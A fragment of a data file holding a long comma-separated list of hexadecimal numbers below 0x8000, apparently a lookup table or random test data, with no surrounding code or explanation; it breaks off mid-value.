0x701e,0x3eee,0x100a,0x5fc4,0x745a,0x47a,0x1ee2,0x1200,0x4996,0x2833,0x13b0,0x34f0,0x78f7,0x7cba,0x6c5a,0x2d71,0x7836,0x73f4,0x1a05,0x13a3,0x7c47,0x3718,0x8dc,0x2b99,0x5f38,0x506,0x550c,0x5655,0x1d5b,0x4adb,0x5113,0xef3,0x2da7,0x2ac2,0x413b,0x4824,0x395c,0x650d,0x7061,0x3dde,0x76e6,0x5784,0x1fb,0xf52,0x2c04,0x6fc,0x255a,0x351f,0x1b29,0x672c,0xe2c,0x27c5,0x6023,0x54bd,0x5644,0x4a5c,0x7ffa,0x75a0,0x2c9e,0x6d86,0x301b,0x73a4,0x759d,0x7ea2,0x18b5,0x4548,0x4098,0x3742,0x1664,0x78cd,0x3695,0x60df,0x3f0d,0x3590,0x6654,0xcc,0x2e09,0x6797,0x1190,0x69,0x5b85,0x496a,0x5f81,0x2599,0x328,0x4024,0x18a5,0x6f76,0x5df7,0x3dc9,0x4fc0,0x2b43,0x3376,0x1dda,0x1c22,0x55a1,0x610,0x3027,0x4928,0x1c06,0x5eb9,0x65e5,0x1f05,0x126c,0x7bd2,0x5500,0x28c2,0x7146,0x674d,0x5b3,0x1b84,0x6fb8,0x3811,0x3e55,0x430e,0xe07,0x2a0,0x4176,0x1786,0x644f,0x3cf7,0x322a,0x607c,0x4974,0x19b6,0x12a5,0x928,0x665a,0x1e80,0x1108,0x9f3,0x959,0x79a5,0x167b,0xb3a,0x4deb,0x5afe,0x4c7c,0x254e,0x6ca8,0x5419,0xc76,0x61bf,0x4775,0x396,0x6d96,0x61da,0x5f8,0xfd1,0x64da,0x4e70,0x564f,0x34c2,0x2b6b,0x74d9,0x2601,0x6921,0x5f2c,0x3539,0x6734,0x5ecd,0x1193,0x2602,0x3621,0x626e,0x38b8,0x10ba,0x72c6,0x5e59,0x36ab,0x2bff,0x22da,0x4b5,0x6b0b,0x36c8,0x3006,0x64dc,0x2d4,0x58ed,0x5652,0x7004,0x7a79,0x6cea,0x56de,0x311f,0x633,0x16e0,0x42d2,0x3c00,0x5498,0x4cdc,0x7297,0x17be,0x5f6f,0x345c,0x7d48,0x285d,0x3ec3,0x790f,0x4463,0x5bab,0x3236,0xdd,0x67c5,0x1d69,0x5498,0x2127,0x35d5,0x56ab,0x2db8,0x3950,0x6bff,0x7c82,0x167a,0x567c,0x5b64,0x71d7,0x232a,0x4497,0x45cf,0x409a,0x810,0x309a,0x6eb,0x6e1d,0x2c45,0x4009,0x5db4,0x6eba,0x5ec5,0x41c0,0x6a2c,0x7cbc,0x61c4,0x5bf0,0x334f,0x567d,0x4046,0x5b65,0x4948,0x27cb,0x21ea,0x80a,0x57e5,0x2290,0x1106,0x22ae,0x3d49,0xab2,0x66f9,0x7008,0x78e1,0x3939,0x52bd,0x74f9,0x699,0x5ab0,0x2dbc,0x4812,0x7a4f,0x6ccd,0x12e5,0x1c56,0x6f87,0x3f54,0x6bfe,0x6941,0x2161,0x7c38,0x693c,0x5409,0x3ec9,0x7b03,0x1711,0x3e23,0x4eee,0x6379,0x645,0x1d09,0x39f5,0x6378,0x3a48,0x7f3b,0x49ee,0x7c23,0x51c7,0x6283,0x3807,0x2a40,0x1d7d,0x3f7e,0x19ff,0x6ddd,0x194c,0x6e58,0x43de,0x753a,0x7b8c,0x48d7,0x71e4,0x6ee3,0x4ea3,0x2d9b,0x4ebf,0x471d,0x48d5,0x48a4,0x2a01,0x5483,0x565e,0x4514,0x72d0,0x37f1,0x9be,0x4c36,0x4adf,0x73a1,0x6655,0x75c0,0x459e,0x7d94,0x392f,0xd55,0x27ae,0x5134,0x7421,0x514e,0x3a98,0x4437,0x3f15,0xeba,0x8be,0x22c6,0x33a2,0x3ea3,0x1592,0x56df,0x76e0,0x894,0x6605,0x1ef8,0x257a,0x4e57,0x6d43,0x17e5,0x4604,0x2503,0x319d,0x1dfb,0x358f,0x5f37,0x3dc6,0x4976,0x427b,0xca0,0x3243,0xa18,0x698d,0x12c1,0xb1d,0x2613,0x6941,0x42f3,0x6dd9,0x2029,0x1f62,0x11aa,0x13a9,0x4912,0x64d7,0x52fb,0x23e4,0x1e,0x5bc0,0x205b,0x12b4,0x671b,0x63c2,0x4baa,0x580f,0xd79,0x289e,0x370,0x12e8,0x56ac,0x7f09,0xc66,0x6ca6,0x1fd2,0x3b8,0x3438,0x50d5,0x6896,0x30ba,0x6189,0x4d1b,0x354,0x5d0a,0x6537,0x2d6e,0x107e,0x5a65,0x70e1,0x2885,0x493e,0x2559,0x56a7,0x308c,0x5d5c,0x5b9f,0x7631,0x3c1c,0x6863,0x6caa,0x7af3,0x1b6a,0x41ff,0x3880,0x4faf,0x2dbf,0x2daa,0x10c9,0x6b3b,0xb28,0x2d87,0x5025,0x5a84,0x766e,0x7c8e,0x7bc3,0x2bd3,0x2b48,0x73ea,0x2330,0x1f4f,0x5cd0,0x5f9f,0x726c,0x40c4,0x7834,0x670,0x2a43,0x4ea2,0x7fae,0x6900,0x72da,0x1249,0x11b6,0x7c37,0x3c89,0xd83,0x7076,0x62e7,0x22e8,0x2152,0x1d7e,0x6ab0,0x62d,0x11ed,0x5db9,0x5021,0x4eb5,0xc05,0x399f,0xe1f,0xee0,0xf4c,0x4dad,0x3c8b,0x7722,0x6238,0x7f12,0x421f,0x5057,0x7304,0x68ac,0x5d99,0x7057,0x49f9,0x1432,0x4a1c,0x5ccb,0x70eb,0x53b3,0x2d3,0x103f,0x7406,0x4f3f,0x69d7,0x1578,0x5fcb,0x1ae4,0x5653,0x6d07,0x6055,0x68dc,0x4de6,0x711e,0x65e1,0x2c04,0x6d48,0x2ba3,0x728d,0x3e90,0x4431,0x5283,0x7560,0x60fd,0x2876,0x5e49,0x568b,0x2548,0x4475,0x6eef,0x18ee,0x1a5e,0x64b4,0x72f3,0x34de,0x4bd3,0x48c5,0x44ae,0x1026,0x69d6,0x7b6d,0x31e2,0x374b,0x2d65,0x7605,0x2192,0x3c15,0x4cbd,0x131f,0x4c16,0x5d4a,0x1415,0x146d,0x396e,0x5bbd,0x768b,0x3fdf,0x79d7,0x2087,0x2b5f,0x580c,0x4c9c,0x1895,0x2b5f,0x73d3,0x292f,0x6963,0x22a2,0x7942,0x5e78,0x6306,0x2a79,0x3fb6,0x3c6d,0x5370,0x5fa3,0x1d44,0x7be3,0x1ef0,0x28c0,0x6358,0x58a3,0x41f8,0x4108,0xe9c,0x11c1,0x2023,0x5b3d,0x2e1c,0x4429,0x4476,0x70de,0x45a7,0x537b,0x76e7,0x119e,0x2f78,0x5519,0x4b1b,0x4715,0x4116,0x317e,0xc74,0x60b4,0x3778,0x6fd1,0x2b4b,0x3bfe,0x2e6d,0x5fb9,0xf7a,0x5cf5,0x273b,0x1574,0x741e,0x6ad3,0x6286,0x6c23,0x309b,0x64fb,0x1174,0x268,0x12e0,0x242f,0x220f,0x6533,0x2eec,0x7c03,0x2aeb,0x5cd9,0x4790,0x1092,0x3a08,0x1067,0x3477,0x346f,0xaf9,0x7335,0x6965,0x62df,0x6846,0x30be,0x2bc,0x2a45,0x3c10,0xaae,0x7b44,0x1add,0x13f3,0x5d3d,0x6f2b,0xdad,0x1c31,0x3dbc,0x104b,0x57b9,0x560c,0x676d,0x2fac,0x3d77,0xd73,0x6a98,0x4a,0x3a82,0x51e1,0x51db,0x7718,0x7192,0x7683,0x31c2,0x6c44,0x58ac,0x5d99,0x5698,0x61bd,0x7596,0x131e,0x47c,0x12f3,0x3e8e,0x7aab,0x7db7,0x31de,0x733b,0x1499,0x434c,0x7541,0x1e4,0x1e66,0x43d1,0x5c30,0x4ce0,0x1259,0x6c7e,0x4ad0,0x644e,0x4a69,0x5084,0x645e,0x806,0x4a5c,0x5a9f,0x4672,0x5cf,0x752c,0x3cef,0x985,0x47d2,0x31ae,0x1304,0x2ab1,0x274e,0x4275,0x6a38,0x42b9,0x578e,0x54f5,0x2441,0x2e49,0x7d18,0xbe4,0x6806,0xb7f,0x4528,0x8e6,0x14b2,0x30a9,0x115c,0x3968,0x6b07,0x51,0xbb1,0x6acc,0x60f6,0x3e77,0x36ae,0x69c7,0x536c,0x4b1d,0x4ddf,0x3108,0xa6e,0x6609,0xa85,0x6b1b,0x4368,0x5fc6,0x208c,0x4b8c,0x35c2,0x5bec,0x7bd,0x34f,0x45b5,0x8a1,0x6535,0x545f,0x595d,0x6f60,0x2916,0x8a6,0x40f,0x42f9,0x347c,0x501d,0x7bec,0x4ed9,0x1bb3,0x4a34,0xdb6,0x6b8c,0x58a7,0x3e74,0x2e3,0x1c80,0x19b,0x4863,0x2df0,0x3b0c,0x581e,0x7aa8,0x10f8,0x52b0,0x443b,0x3d6f,0x5285,0x129f,0xff1,0x6c0f,0x74a6,0x787a,0x76e3,0x75ea,0x242,0x185f,0x5e4f,0x695,0x26ab,0x2622,0x4944,0x793a,0x6376,0x23da,0x5d10,0x1b3a,0x588b,0x59a0,0x9f8,0x216,0x5278,0x7a93,0x2c2d,0x788f,0x130b,0x1b20,0x38fb,0x470c,0x81f,0x5c80,0x4c42,0x5b3d,0x64b6,0x7181,0x2a2a,0x12fe,0x5048,0x608a,0x913,0x2e7e,0x205b,0x26d9,0x37cb,0x2da0,0x5054,0x2110,0x7404,0x1ca1,0x2b8d,0x5cf0,0x505,0x13fc,0x5da7,0x3864,0x6e9f,0x6f8a,0x5d22,0x71c1,0x5063,0xee,0x642a,0xd4c,0x4512,0x4130,0x6bb4,0x33fd,0x5655,0x45a8,0x5cca,0x6f82,0x58ae,0x7c1e,0x6c23,0x6787,0x43af,0x722f,0x53f7,0x435,0x5a6a,0x2bf2,0x6011,0x19f8,0x3828,0x4ddc,0x26,0x286,0x155e,0x1de1,0x5465,0x471d,0x58dc,0x1fdc,0x684f,0x400b,0x4948,0x5131,0xfc9,0x4d74,0x72cb,0x47b1,0x1a70,0xd50,0x150a,0x37be,0x512c,0x32b3,0x2d58,0x25af,0x7208,0x6251,0x7129,0x4676,0x1e41,0x3841,0x4cca,0x537f,0x6e9c,0x5b01,0x3a50,0x55dc,0x21fd,0x3fbb,0x4cf,0x2ca0,0x1a36,0x3c6,0x4bcc,0x5288,0x1b1d,0x7f70,0x5af4,0x26e1,0x7fe1,0x75fb,0x2a0e,0x3da5,0x5a9e,0x6e5,0x192e,0x7ae8,0x322e,0x446d,0x3d2b,0x7d72,0x5243,0x1352,0x5054,0x1cae,0x61b2,0x37de,0x1b5f,0x7dc3,0x3312,0x3423,0x6aa2,0x400,0x386,0x5b85,0x6386,0x207d,0x1bd7,0x3f78,0x4e38,0x44ff,0x7c6,0x598b,0x27a1,0x7e1d,0x57a0,0x16a6,0xf99,0x78a1,0x2012,0x278f,0x6757,0x7631,0x2c3f,0x3ab3,0x342c,0x752f,0x1610,0x324,0x1a72,0xfdd,0x38cb,0x30de,0x4bf,0x56c5,0x31e8,0x3e4e,0x4b5e,0x2a58,0x6420,0x3715,0x6fff,0x57d5,0x30c6,0x5c09,0x41ad,0x7d6c,0x5b5a,0x487c,0x7d01,0x79a4,0x4b5c,0x7cc2,0x3c95,0x69fa,0x205e,0x71ed,0x4dbc,0x7cca,0x4c5d,0x1adb,0x3d70,0x1a73,0x2851,0x7673,0x318c,0x29b7,0x3703,0x172b,0x623c,0x7360,0xa1f,0x43cd,0x47b1,0x6929,0x7d8a,0x157c,0x5019,0x53db,0x3cf5,0x36f2,0x31ce,0x2cb7,0x47b3,0x290b,0x2dcd,0x2614,0x66c7,0x3087,0x566b,0x2749,0x4942,0x510b,0x2e43,0x3fcd,0x3acc,0x796a,0x3373,0x559d,0x2880,0x4523,0x2b08,0x12de,0x67fd,0x772b,0x40b6,0x56c4,0x74b9,0x11ec,0x4ecd,0x2db2,0x1799,0x308d,0x6268,0x14a3,0x2cbf,0x574,0x4fe7,0xbc8,0x7ba4,0x2209,0x6ba0,0x3c72,0x5566,0x6bbd,0x3ad2,0x3633,0x6d63,0x624c,0x30da,0x740,0x2006,0x1b3e,0x4caa,0x341a,0x1be1,0x16b4,0x2a76,0x526e,0x20fc,0x5161,0x5db0,0x4b39,0x4a6d,0x37d7,0x2737,0x82f,0x1629,0x5f04,0x5bcc,0x105e,0x1f1a,0x25fc,0xec5,0x580f,0x3d72,0x24f9,0x5505,0x47ed,0x13e,0xd9f,0x342b,0x3f69,0x3b3e,0x6085,0x120a,0x165c,0x7f4,0x1bf2,0x385a,0x61ee,0x10fb,0x47e4,0x40ac,0xb8,0x789a,0x357,0x7ca4,0x3225,0x2399,0x76c3,0x2e62,0x3d1e,0x5553,0x4fe7,0x2541,0x69e6,0x520d,0x2ac5,0x12c4,0x5342,0x7b86,0xbee,0x2bcd,0x52de,0x1bcf,0x4fff,0x6a10,0xcec,0x525d,0x346c,0x1c8,0x5f0e,0x575d,0x5d7c,0x5fa8,0x3676,0x947,0x7d95,0x4315,0x114b,0x78b6,0x1ba,0x4892,0x2f4f,0x6677,0x6752,0x787c,0x35c0,0x67e0,0x1f2b,0x2df7,0x4a7c,0x2563,0x21be,0x6a28,0x6a68,0x6763,0x18b5,0x67a5,0x7f11,0x6545,0x41aa,0x229,0x7794,0xacb,0x6e32,0x468d,0x68bc,0x279d,0x451a,0x3ef3,0x786b,0x3d29,0x28f0,0x4f45,0x183b,0x5ead,0x67c5,0x35de,0x5364,0x5792,0x1832,0x486,0x33e1,0xbfc,0x4799,0x25a4,0x2ce,0x479f,0x5dad,0x41af,0x6815,0x6ed4,0x5935,0x18e6,0x2d49,0x45ec,0x4a0d,0x2541,0x27d2,0x42c4,0x2c6d,0x18a7,0xe4b,0x1c99,0x96d,0xb61,0x3d28,0xe1e,0xc9,0x6ecf,0x2e9c,0x7dcc,0x1fe2,0x1859,0x29ba,0x7a,0x2a06,0x78a9,0x6cda,0x6a2d,0x35f1,0x5317,0x573e,0x6131,0x4494,0x965,0x55f5,0x2769,0x3515,0x4fad,0x1800,0xde3,0x3a16,0x5c97,0x4db4,0x46af,0x343a,0x69cf,0x775f,0x8f2,0x15e5,0x18b7,0x72e,0x3b36,0x3444,0xf59,0x5a4e,0x1804,0x298e,0x619f,0x4d52,0xb5,0x2c89,0x1ac6,0x6fd5,0x7285,0x14f,0x7b10,0x1b60,0x51e9,0x6752,0x3db9,0x718e,0x23,0x289e,0x7b2d,0x56d,0x6f13,0x2e5e,0x7b78,0x3428,0x2750,0x3ea2,0xcfe,0x70e3,0x7477,0x475f,0x336c,0x7e7,0x2bc3,0x5ab7,0x42ee,0x1cff,0x40de,0x407b,0x3ba3,0x6921,0x1cf7,0x40ef,0x794e,0x7b51,0x6c15,0xccd,0xb4e,0xc3,0x54ab,0x668c,0x48d0,0x5840,0x4d6c,0x70e1,0x7543,0x74ca,0x560,0x4687,0x90c,0x5383,0x1238,0x3f3c,0x727b,0x8cb,0x58df,0x60c,0x62fe,0x28a9,0x6451,0x64d1,0x7c95,0xe6c,0x1eb0,0x68fb,0x7386,0x4792,0x2095,0x458d,0x7852,0x25e8,0xaa4,0x1668,0x7de7,0x3cf3,0x1d63,0x68cc,0x3017,0x4e8f,0x34c,0x2d1c,0x2e49,0x6ad6,0x120,0x75e1,0x5e6f,0x4743,0x7f,0x2812,0x6c38,0x1117,0x28b6,0x93,0x4886,0x3efc,0x79d8,0x12fb,0x3d22,0x25e9,0x1e10,0x259a,0x68af,0x5545,0x6535,0xebb,0x36dc,0x7e4f,0x1e9f,0x7726,0x28de,0x6abd,0x4539,0x25e9,0x21e,0x46a3,0x31d8,0x3958,0x2d2e,0x4197,0x47cb,0x7153,0x6d02,0x4b13,0x4fb4,0x6ec7,0x2e5d,0x6e1b,0x7496,0xc77,0xd89,0x101f,0x172e,0x34fd,0x644b,0x1722,0x6b87,0x5a0b,0x7416,0x3b1c,0x14c9,0x70f7,0x7f,0x69d,0x3351,0x1877,0x6df1,0x4ab4,0x1907,0x4ba9,0x38a2,0xa0f,0x17ec,0x4656,0x57c5,0x1f63,0x1ef3,0x7e77,0x6102,0x230f,0x1912,0x56f8,0x23,0x53fc,0x4298,0x6fbd,0x1710,0x7c7,0x68c1,0x36e3,0x19fd,0x6622,0x4788,0x1f48,0x7be2,0x7377,0x79bc,0x204d,0x3f2b,0x2ecf,0x2f56,0x62da,0x7eb1,0x46f3,0x1e0a,0x3fa3,0x2ea,0x2ad0,0x601c,0x72aa,0x375c,0x7920,0x3575,0x2805,0x1458,0x1347,0x5af6,0x45e2,0x50e4,0x577b,0x6c0c,0x17c8,0x70f9,0x4628,0x285,0x3f20,0x3ef,0x1693,0x8a2,0xcf3,0x2735,0x7ebd,0x716d,0x28f5,0x2145,0x328a,0x4b4c,0x29c3,0x28d7,0x5e22,0x60d7,0x269,0x2c55,0x1f98,0x5be7,0x6927,0x2d90,0x43ca,0x1eef,0x1b75,0x5b1,0x4a88,0x4890,0x2344,0x2572,0x75f8,0x1567,0x187,0x258e,0x6938,0x142a,0x61f2,0x3b75,0x1a46,0x5ff3,0x3c01,0x6645,0x1b1d,0x54db,0x53d,0x67f6,0x7e21,0x72cb,0x58bb,0x5ed4,0x59bd,0x628f,0x37e5,0x1333,0x2f4b,0x512c,0x487c,0x4d5e,0x3934,0x1574,0x33de,0x47d0,0x6458,0x53d7,0xb85,0x11a7,0x78b0,0x147c,0x56d1,0x7555,0x3531,0x7f91,0x2e07,0x3799,0x62f4,0x33df,0x699,0x42ae,0x2395,0x6ba1,0x14a8,0x11c2,0x7ed9,0x6396,0x65c7,0x70a9,0x7393,0x3855,0x1902,0x63d3,0xfc8,0x2de1,0x581f,0x4c7b,0x5411,0x157d,0x7623,0x1d22,0x6641,0x45c1,0x5718,0x323c,0x5748,0x58ee,0x50e,0x2329,0x57,0x257f,0x1660,0x1f66,0x3b45,0x2500,0x4938,0x2c05,0x7a32,0x3d23,0x7855,0x555a,0x26a,0x1f11,0x4d0c,0x28f8,0x4e8b,0x30fe,0x528d,0xbdc,0x5beb,0x3600,0x4e68,0x40e7,0x6734,0x2821,0x250,0x3392,0x5c51,0x78b3,0x3b1e,0x5add,0x7d8e,0x2ae3,0x5119,0x4888,0x5fa,0x7c91,0x7d74,0x3886,0x4b10,0x115f,0x2918,0x34af,0x2197,0x5408,0x18a4,0x20b5,0x9c7,0x1f4,0x19b2,0x4259,0x66ad,0x1509,0x155d,0x19de,0x44d1,0x7fc3,0x2c00,0x1ebe,0x7415,0x6f87,0x3e3f,0x349d,0x78e0,0x934,0x74c,0x6c7b,0x187c,0x53fc,0x2c63,0x662d,0x4bd,0x4672,0x6597,0x660e,0x6ae4,0x29e3,0x23d1,0x72f2,0x69c2,0x47ea,0x5816,0x105b,0x3321,0x163f,0x4008,0x68f0,0x5c5f,0x54d0,0x5bb0,0x7d2a,0x225c,0x5213,0x707a,0x2a51,0x2497,0x499a,0x3d81,0x1da7,0x5b93,0x10e8,0x450d,0x7e3,0x4e80,0x683,0x4f5a,0x24e0,0x4c17,0x774a,0xa9c,0x6b97,0x2ac6,0x6e09,0x6c3f,0x7a4b,0x540d,0x214b,0x3773,0x1303,0x1f28,0x736f,0x4ce8,0x3c3d,0x3eee,0x38fe,0x27d6,0x59e1,0x46f9,0x393c,0x2c41,0x5274,0xc07,0x1cfd,0x2a7b,0x148e,0x63a0,0x3fba,0x3bea,0x108e,0x6f9,0x16e4,0x5d0b,0x7a8c,0x1d19,0x2378,0x68b7,0x688f,0x303a,0x21d4,0x58a6,0x2100,0x1272,0x6bc9,0x6f31,0x2d5f,0x7592,0x40f1,0x2e5c,0x535,0x3a4f,0x6943,0x4013,0x654a,0x3a9f,0x65e4,0x33b4,0x2717,0x1366,0x2440,0x34ce,0x2c7e,0x3152,0x675a,0x1f29,0x33b9,0x2503,0x5b60,0x1406,0x2791,0x270,0x783,0x74a7,0x3fd0,0x4f86,0x1206,0x6612,0x5f8,0x4612,0xa94,0x4213,0x1235,0x6ce0,0x2ed6,0x1980,0x1491,0x4c24,0x5d45,0x2bc0,0x7e67,0x411a,0x2a3d,0x778e,0x601a,0x34ea,0x4b53,0x48fb,0x4f06,0x3ace,0x4ce9,0x68b2,0x67b7,0x5976,0x4600,0x5080,0x4059,0x3ac,0x7e4d,0x914,0x5f70,0x434,0x3a8e,0x1503,0xaca,0x60f6,0x231e,0xd0f,0x2b1,0x795f,0x78c7,0x51a8,0x7d65,0x6404,0xbd8,0x75b3,0x76c9,0x4f88,0x2978,0x468b,0x285c,0x6ac0,0x733a,0x1545,0x3d6b,0x1816,0x54f2,0x2539,0x1785,0x702b,0xcc6,0x63bd,0x3730,0x57c1,0x7988,0x4d34,0x1cda,0x2cd7,0x2343,0x2348,0x3612,0x4f15,0x3213,0x5873,0x2af8,0x76b,0x473a,0x54c4,0x1ff2,0x12f6,0x6c71,0x77e0,0x3fa1,0x5523,0xd7c,0x7c47,0x2114,0x7516,0x3001,0x1fd8,0x5e3b,0x6a4d,0x5d9a,0x3598,0x6e9e,0x3c80,0x7429,0x4af,0x1a4e,0x7acc,0x506c,0x18b3,0x191c,0x2e11,0x6d1,0x6729,0x320a,0x4a99,0x1e8b,0x6e49,0x6eff,0x64fa,0x2e5,0x3102,0x38bf,0x2e3d,0x1ed6,0x343e,0x6f19,0x7b3f,0x56d6,0x6167,0x5163,0x5b58,0x54f1,0x722a,0x4b23,0x23b,0x5b1a,0x497b,0x790f,0x91d,0xfc1,0x5dd9,0x7a38,0x4b1a,0x78a8,0x18d3,0x6182,0x60d4,0x17f2,0x4fcb,0x5b57,0x7f5d,0x5f7d,0x39fa,0x5b9c,0x3e57,0x6e71,0x7b4,0x67e4,0x959,0x4d19,0x7eed,0x51e4,0x4095,0x1af2,0x40fd,0x7628,0x4cb8,0x6302,0x1da0,0x5304,0x2a12,0xa6b,0x1741,0xbcc,0x2ef7,0xd40,0x7c78,0x2c47,0x1165,0x7d97,0x3ad1,0x4062,0x6fe6,0x78e0,0x4ecf,0x1422,0x61b8,0x775,0x7530,0x2fdc,0x522c,0x1a72,0x173,0x64a8,0x2b4c,0x1bc6,0x7d98,0x7d13,0x13c0,0x448a,0x7727,0x6614,0x43f3,0x2d92,0x1d73,0x6442,0x3671,0x4e42,0x1520,0x2943,0x3794,0x5da3,0x24e3,0x5d88,0x185f,0x49b6,0x1f89,0x7237,0x8aa,0x3909,0x2f3b,0x4f69,0x5c7f,0x4a87,0x6600,0x3296,0x40c5,0x794,0x3783,0x514d,0x231b,0x3c5a,0x4017,0x1429,0x5107,0x2a5d,0x7cf8,0x7e00,0x1250,0x4956,0x59d3,0x135d,0x42a8,0xa3e,0x3789,0x5631,0x2e8e,0x50a9,0x5031,0x29c5,0x3773,0x1655,0x1c5c,0x32f3,0x31c,0x6d03,0x1d9c,0x896,0x3a47,0x5285,0x3247,0x483f,0x1a91,0xb19,0x5678,0x632a,0x5f97,0x75f5,0x7657,0x3770,0x475c,0x1023,0x359a,0x497d,0x35eb,0x198f,0x504c,0x31c5,0x3c3d,0x105f,0x78cd,0x12b3,0x65c,0x7682,0x571b,0x2ae2,0x74c9,0x158c,0xd4f,0x5790,0x651b,0x34c1,0x656b,0x1b50,0x6dea,0x756f,0xc52,0x7cfe,0x11eb,0x4982,0x7e18,0x52f8,0x2e5c,0x3852,0x77c,0x4e8b,0x28a3,0x65bf,0xb3,0x5bac,0x1f32,0xf80,0x2568,0x28e9,0x21ad,0x74b8,0x2e00,0x6b9f,0x344f,0x5bca,0xe22,0x346c,0x228a,0x2a6f,0x7c77,0x67e7,0x64ed,0x4406,0x27ae,0x2f8f,0x1e4b,0x222b,0x3cc4,0x7702,0x741a,0x5b8a,0x2282,0x4970,0x4619,0xcf5,0xe47,0x234e,0x936,0x58b5,0x5607,0xc4f,0x49ae,0x701e,0x2394,0xd90,0x1876,0x5b67,0x6d1c,0x5812,0x67da,0x73b8,0x56f3,0x2f6e,0x1b64,0x4383,0x6293,0x6cc4,0x4eff,0x4118,0xee2,0x2df5,0x195c,0x1774,0x4db3,0x512,0x4d95,0x715a,0x728e,0x3c14,0x10,0x7aa6,0x7eb4,0xcd,0x52a7,0xbdd,0x6e5e,0xd1e,0x4c05,0x3408,0x6b46,0x1f6b,0x3e53,0x14c3,0x868,0x574c,0x115,0x4491,0x6b0a,0x4a85,0x24e,0x2b72,0x4fa,0x6639,0x72eb,0xdb8,0x4417,0x705a,0x125e,0x3916,0x5b12,0x3d64,0x5d8a,0x7fa,0x776,0x6e4b,0x24df,0x2f1c,0x78e6,0x4ab1,0x4dc6,0x957,0x3da6,0xb5d,0x433f,0x55b9,0x585e,0x28e9,0x59c8,0x1bd6,0x631a,0x2ba,0x2a82,0x2a61,0x6394,0x7236,0x298f,0x63fd,0x34b6,0x1e30,0x7bbe,0x4e50,0x295b,0x22a7,0x4f6a,0x1759,0x4c56,0x60b1,0x3c9f,0x504,0x61b5,0xab2,0x707f,0x2fc,0xd47,0x40d1,0x27e4,0x42c1,0x425b,0x51ad,0x3d47,0x21fa,0x60cb,0x734b,0x4de1,0x4b0c,0x2339,0x854,0x3a0f,0x43eb,0x4299,0x457d,0x4fb,0x5f31,0x72ef,0x4b46,0x5779,0x436d,0x1d5a,0x7e7,0x2a2f,0x7cbd,0x7b52,0x7587,0x5af9,0x4c9f,0x772e,0x8b0,0x318c,0x2c04,0x75e9,0x6300,0x1759,0x33a6,0x6e25,0x1e21,0x6b4,0x5e9c,0x7070,0x42fb,0x7535,0x5b2b,0x4c7,0x4127,0x3d5e,0x5de0,0x158,0x7aa7,0x4b7f,0x2adb,0x3e8c,0x37d5,0x11d7,0x496e,0x4c45,0x179a,0x7fc,0x15e7,0xc65,0x4fe0,0x397d,0x25a9,0x568f,0x524a,0x27c5,0x3182,0x931,0x2922,0x342,0x7a38,0x2bc2,0x2093,0x7fc7,0x5b65,0x648,0x1018,0x482f,0x85,0x521e,0x5834,0x5544,0x704e,0x67f4,0x6864,0x2bdf,0x6240,0xf17,0x6152,0x4650,0x127c,0x51f3,0x274b,0x2cff,0x7d9,0x7bd6,0x78f3,0x254,0x35,0x23f6,0x5e37,0x5d5,0x7709,0x69b6,0x384,0x528e,0x7a40,0x4625,0x5536,0x5cb6,0x414a,0x16c7,0x6f54,0x728f,0x3a6c,0x4599,0x357a,0x448e,0x25a,0x324f,0x2716,0x38bc,0x7a07,0x40e0,0x43d7,0xd5c,0x6ebc,0x3144,0x1463,0xece,0x868,0x247c,0x2b49,0x64b3,0x7237,0x72d4,0x3236,0x3a52,0x7165,0x3765,0x576b,0x463b,0x5e55,0x34dd,0x2f6e,0x7529,0x33dd,0x7783,0x5f00,0x3c2d,0x28e4,0x5875,0x2150,0x5609,0x830,0x4634,0x7e6e,0x6fda,0x3a79,0x7663,0x4602,0x8fb,0x36c2,0x64cc,0x223e,0xa25,0x4ce9,0x43a4,0x5711,0x57db,0x7e7c,0x4110,0x19e,0x6405,0x59ce,0x45e8,0x6bec,0x2db,0xb4a,0x11ba,0x48df,0x704,0x1908,0x5812,0x6c67,0x68ff,0x7c9e,0x42f8,0x53f7,0x7dc3,0xf39,0x7ebb,0x1339,0xa2,0x7bec,0x32ed,0x7900,0x7473,0x2c47,0xcaf,0x7e,0x1ff0,0x632c,0x3e2f,0x62b7,0x295d,0x79de,0x176e,0x5c35,0x156b,0x735b,0x1c47,0x7afd,0x2d5b,0x59ec,0x3bad,0x8c3,0x1066,0x1afa,0xc34,0x655a,0x745d,0x5523,0x31d2,0x656e,0x598d,0x4c8d,0x50e7,0x975,0x35e5,0x797a,0x327c,0x20e3,0x5b5b,0x651d,0x7dc8,0x2d9d,0x1d8b,0x48ad,0x2af9,0x1bb1,0x7aa1,0x22b7,0x1331,0x2144,0x4b7a,0x36b8,0x41ce,0x5acc,0x3f06,0x2aeb,0x6aee,0x777f,0x24f1,0x3860,0x2b32,0xa0a,0x4b82,0x214e,0x74c3,0x5187,0x74c3,0x61aa,0x4d93,0xea9,0x26e2,0x4df8,0x42e6,0x393a,0x5bd7,0x1462,0x3610,0x29c8,0x5447,0x5407,0x6680,0xb9b,0x11a8,0x3e95,0x5cfd,0x2aea,0x3ba7,0x781a,0x1c30,0x734e,0x74c6,0x2917,0x3a63,0x3276,0x624a,0x76d7,0x4888,0x731d,0x6b54,0x55fe,0x2a7d,0x439,0x734e,0x6b65,0x448e,0x75,0x1388,0x6f25,0x223c,0x69e2,0x1823,0x45f2,0x7a3c,0x2de9,0x442f,0x44ab,0x33c3,0x2585,0x2110,0x522e,0x5101,0x65af,0x5d26,0x5b71,0x62eb,0x7419,0x7dad,0x4dcf,0x6a3e,0x341e,0x67e1,0xb9f,0x49c1,0x1ff9,0x566,0xf0b,0x2dca,0x2236,0x7e8,0x2f20,0xd03,0x2367,0xfff,0x3b21,0x266e,0x2018,0x3b55,0x6021,0x20a7,0x5b05,0x5e0a,0xcd0,0x2e6a,0x7f8a,0x6b57,0x4796,0x5c54,0x485a,0x5172,0x2ade,0x6bee,0x7e74,0x4cb2,0x7bb5,0x5fe7,0x6453,0x75f4,0xe93,0x1da1,0x6165,0x103d,0x6e78,0x47f0,0x1bf,0x59a1,0x7a3b,0x371e,0x1e0f,0x6363,0x6c1f,0x3232,0x3fd2,0x355d,0x7fa8,0x4d71,0x15c7,0x40a2,0x29ad,0x1226,0xca3,0x6563,0x16ad,0x539f,0x6006,0x100f,0x6367,0x5578,0x37ae,0x31be,0x43a4,0x271c,0x24eb,0x17d0,0xb58,0x5888,0x1452,0x66d1,0x4de9,0x6c52,0x7b6,0x3ca0,0x7cf,0x2aea,0x2c54,0x3dd1,0x65d,0x3b21,0x214e,0x124f,0x1de,0x23e7,0x25b,0x1546,0x1de4,0x1b59,0xabc,0x3c40,0x43dd,0x46fb,0x6472,0x798e,0xbe7,0x5141,0x77ae,0x1de9,0x27e6,0x7855,0x4e89,0x7d59,0x4d3,0x7a14,0x60f5,0x